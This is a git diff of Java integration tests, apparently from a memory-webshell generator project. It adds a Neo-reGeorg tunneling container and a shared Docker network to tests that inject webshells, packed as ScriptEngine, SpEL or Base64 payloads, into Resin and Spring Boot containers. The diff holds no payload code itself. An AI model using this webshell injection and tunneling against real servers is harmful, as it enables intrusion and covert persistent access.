.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -60,6 +69,6 @@ public class Resin3116ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Resin318ContainerTest {
|
public class Resin318ContainerTest {
|
||||||
public static final String imageName = "reajason/resin:3.1.8-jdk7";
|
public static final String imageName = "reajason/resin:3.1.8-jdk7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Resin318ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Resin4058ContainerTest {
|
public class Resin4058ContainerTest {
|
||||||
public static final String imageName = "reajason/resin:4.0.58";
|
public static final String imageName = "reajason/resin:4.0.58";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,6 +65,6 @@ public class Resin4058ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Resin4067ContainerTest {
|
public class Resin4067ContainerTest {
|
||||||
public static final String imageName = "reajason/resin:4.0.67-jdk11";
|
public static final String imageName = "reajason/resin:4.0.67-jdk11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
.withCopyToContainer(resinPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +66,6 @@ public class Resin4067ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+79
@@ -0,0 +1,79 @@
|
|||||||
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot1ContainerTest {
|
||||||
|
public static final String imageName = "springboot1";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot1Dockerfile))
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
Server server = Server.SpringWebMvc;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
|
||||||
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+10
-1
@@ -12,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -34,11 +35,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class SpringBoot2ContainerTest {
|
public class SpringBoot2ContainerTest {
|
||||||
public static final String imageName = "springboot2";
|
public static final String imageName = "springboot2";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot2Dockerfile))
|
.withDockerfile(springBoot2Dockerfile))
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +67,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+11
-4
@@ -12,15 +12,16 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -33,10 +34,16 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class SpringBoot2WarContainerTest {
|
public class SpringBoot2WarContainerTest {
|
||||||
public static final String imageName = "tomcat:8-jre8";
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +64,6 @@ public class SpringBoot2WarContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-2
@@ -12,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -33,12 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class SpringBoot3ContainerTest {
|
public class SpringBoot3ContainerTest {
|
||||||
public static final String imageName = "springboot3";
|
public static final String imageName = "springboot3";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot3Dockerfile))
|
.withDockerfile(springBoot3Dockerfile))
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,7 +65,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -12,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -20,6 +21,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
@@ -34,9 +36,16 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class SpringBoot2WebFluxContainerTest {
|
public class SpringBoot2WebFluxContainerTest {
|
||||||
public static final String imageName = "springboot2-webflux";
|
public static final String imageName = "springboot2-webflux";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot2WebfluxDockerfile))
|
.withDockerfile(springBoot2WebfluxDockerfile))
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,7 +66,7 @@ public class SpringBoot2WebFluxContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-2
@@ -12,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -20,6 +21,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
@@ -33,10 +35,16 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class SpringBoot3WebFluxContainerTest {
|
public class SpringBoot3WebFluxContainerTest {
|
||||||
public static final String imageName = "springboot3-webflux";
|
public static final String imageName = "springboot3-webflux";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
.withDockerfile(springBoot3WebfluxDockerfile))
|
.withDockerfile(springBoot3WebfluxDockerfile))
|
||||||
|
.withNetwork(network)
|
||||||
|
